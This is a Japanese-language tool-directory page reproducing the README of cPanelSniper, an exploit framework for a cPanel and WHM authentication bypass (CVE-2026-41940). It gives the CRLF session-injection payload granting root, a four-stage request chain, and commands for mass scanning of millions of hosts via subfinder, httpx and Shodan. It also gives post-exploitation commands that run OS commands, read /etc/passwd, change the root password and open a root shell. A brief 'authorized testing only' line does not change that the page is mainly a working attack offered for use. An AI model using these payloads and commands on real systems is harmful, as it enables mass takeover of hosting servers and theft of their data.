Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cpsniper — cPanelSniper STABLE - CVE-2026-41940、1000万以上のターゲット向けに最適化 | Kitploit
ツール/GitHubGitHub/44pie/cpsniper
認証と認可脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテストコマンド＆コントロールレッドチーミング
GitHub44pie/cpsniper

cpsniper

cPanelSniper STABLE - CVE-2026-41940、1000万以上のターゲット向けに最適化

リポジトリを見る
2214ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — セッションファイルCRLFインジェクションによるcPanel & WHM認証バイパス
4段階エクスプロイトチェーン · 対話型WHMシェル · 1000万以上のターゲットでTRUE STABLE · メモリ使用量ゼロ · stdlibのみ

概要

cPanelSniper は、cPanel & WHM に影響を与える重大な認証バイパス脆弱性である CVE-2026-41940 に特化したエクスプロイトフレームワークです。この脆弱性により、認証されていないリモート攻撃者が、有効な認証情報なしで Authorization HTTPヘッダーを介してセッションファイルにCRLFシーケンスを注入し、rootレベルのWHMアクセスを獲得できます。

  • CVSSスコア: 10.0 (Critical)
  • 実環境での悪用: 確認済み (2026年4月)
  • 影響を受けるインストール数: cPanel & WHM を実行している約7000万ドメイン
  • 依存関係なし: 純粋なPython stdlib — pip不要、requests不要、外部パッケージ不要

許可されたペネトレーションテストおよびバグバウンティプログラム専用です。

⚡ TRUE STABLE バージョン

このバージョンは、メモリ使用量ゼロで10,000,000以上のターゲットをスキャンするように最適化されています。

修正された問題

問題オリジナルバージョン修正バージョン
メモリ使用量すべてのターゲットをRAMに読み込むターゲットを1行ずつストリーミング (メモリ0)
1000万ターゲットOOM → 強制終了 ❌正常に完了 ✅
再開非対応--resume フラグ
進捗状況ETAなしリアルタイムETA + レート + 統計
結果最後にのみ保存60秒ごとに保存 (設定可能)

主な機能

  • ストリーミングアーキテクチャ - メモリに読み込まずに1000万以上のターゲットを処理
  • OOMクラッシュゼロ - 非常に大きなターゲットリストでも
  • 自動再開 - --resume で中断した場所から続行
  • リアルタイム進捗 - ETA、スキャンレート、エラートラッキング
  • 定期的な保存 - データ損失を防ぐため結果を自動保存
  • パイプライン対応 - subfinder、httpx、shodan とシームレスに連携

仕組み

根本原因は Session.pm にあります。saveSession() 関数は、セッションファイルをディスクに書き込んだ 後 に filter_sessiondata() を呼び出します。つまり、Authorization: Basic ヘッダー値に埋め込まれたCRLF文字がそのままセッションファイルに書き込まれ、サニタイズ前に攻撃者が制御するフィールドが注入されます。

通常のフロー:
  POST /login/ → filter_sessiondata() → セッション書き込み → 認証チェック

脆弱なフロー:
  POST /login/ → セッション書き込み (CRLFペイロード注入) → filter_sessiondata() → 認証チェックが汚染されたファイルを読み取る

CRLFペイロード

Authorization: Basic の値は次のようにデコードされます:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

これらのフィールドはディスク上のセッションファイルに直接書き込まれます。読み戻されると、cPanel はこのセッションを完全に認証されたrootセッションとして扱います。

4段階エクスプロイトチェーン

┌─────────────────────────────────────────────────────────────┐
│  ステージ 0 — 正規ホスト名の検出                              │
│  GET /openid_connect/cpanelid → 307 → 実際のホスト名         │
├─────────────────────────────────────────────────────────────┤
│  ステージ 1 — 事前認証セッションの生成                        │
│  POST /login/?login_only=1  (誤った認証情報)                 │
│  ← 401 + whostmgrsession クッキー                            │
├─────────────────────────────────────────────────────────────┤
│  ステージ 2 — CRLFインジェクション                            │
│  GET / + Cookie: session + Authorization: Basic <payload>   │
│  cpsrvd がCRLFフィールドをセッションファイルに書き込む        │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  ステージ 3 — 伝播 (do_token_denied ガジェット)               │
│  GET /scripts2/listaccts                                    │
│  raw→cache フラッシュをトリガー — 注入フィールドが有効化      │
│  ← 401 Token denied (想定内)                                │
├─────────────────────────────────────────────────────────────┤
│  ステージ 4 — WHM rootアクセスの検証                         │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = PWNED          │
└─────────────────────────────────────────────────────────────┘

影響を受けるバージョン

ブランチ脆弱なバージョン修正済みバージョン
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5

インストール

git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help

pipインストールは不要です。純粋なPython 3.8+ stdlibのみです。

使用方法

基本スキャン

# 単一ターゲット — スキャンのみ
python3 cPanelSniper.py -u https://target.com:2087

# 単一ターゲット — バイパス後の対話型シェル
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# 大規模ターゲットリスト — 1000万以上のターゲット (TRUE STABLE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# 中断されたスキャンの再開
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

エクスプロイト後のアクション

# サーバー上のすべてのcPanelアカウントを一覧表示
python3 cPanelSniper.py -u https://target.com:2087 --action list

# OSコマンドを実行
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# サーバー情報を取得 (ホスト名、負荷、ディスク、MySQLホスト)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# cPanelバージョンを取得
python3 cPanelSniper.py -u https://target.com:2087 --action version

# rootパスワードを変更
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# 対話型WHMシェル
python3 cPanelSniper.py -u https://target.com:2087 --action shell

パイプライン (大規模リストでTRUE STABLE)

# subfinder → httpx → ファイルに保存 → 1000万以上のターゲットをスキャン
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# スコープリストから - 数百万のドメインを処理
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

# Shodan結果 - 大規模スキャン
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json

# stdinパイプ - 小規模リストのみ (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py

# 複数ソースの組み合わせ → 大規模スキャン
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume

TRUE STABLE ベストプラクティス

1000万以上のターゲット をスキャンする場合:

  1. まずファイルに保存する - 大規模リストでは直接パイプしない

    # 良い例 - 1000万以上のターゲットで動作
httpx ... > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# 悪い例 - 大規模リストではクラッシュする
httpx ... | python3 cPanelSniper.py

  2. 適切なスレッド数を使用

    • 10-20スレッド: 10万ターゲット
    • 30-50スレッド: 100万〜1000万ターゲット
    • 50-100スレッド: 1000万以上のターゲット

  3. 長時間スキャンでは自動再開を有効にする

    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

    中断された場合は、--resume を付けて再度実行するだけです

  4. 進捗状況を監視

    • リアルタイムETA表示
    • 結果は60秒ごとに保存
    • Ctrl+C で全発見結果を保持

対話型WHMシェル

バイパス成功後、--action shell フラグで対話型プロンプトに入ります:

════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Version: CVE-2026-41940 | Auth: CRLF bypass
  Type 'help' for commands, 'exit' to quit
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)
ツールをダウンロード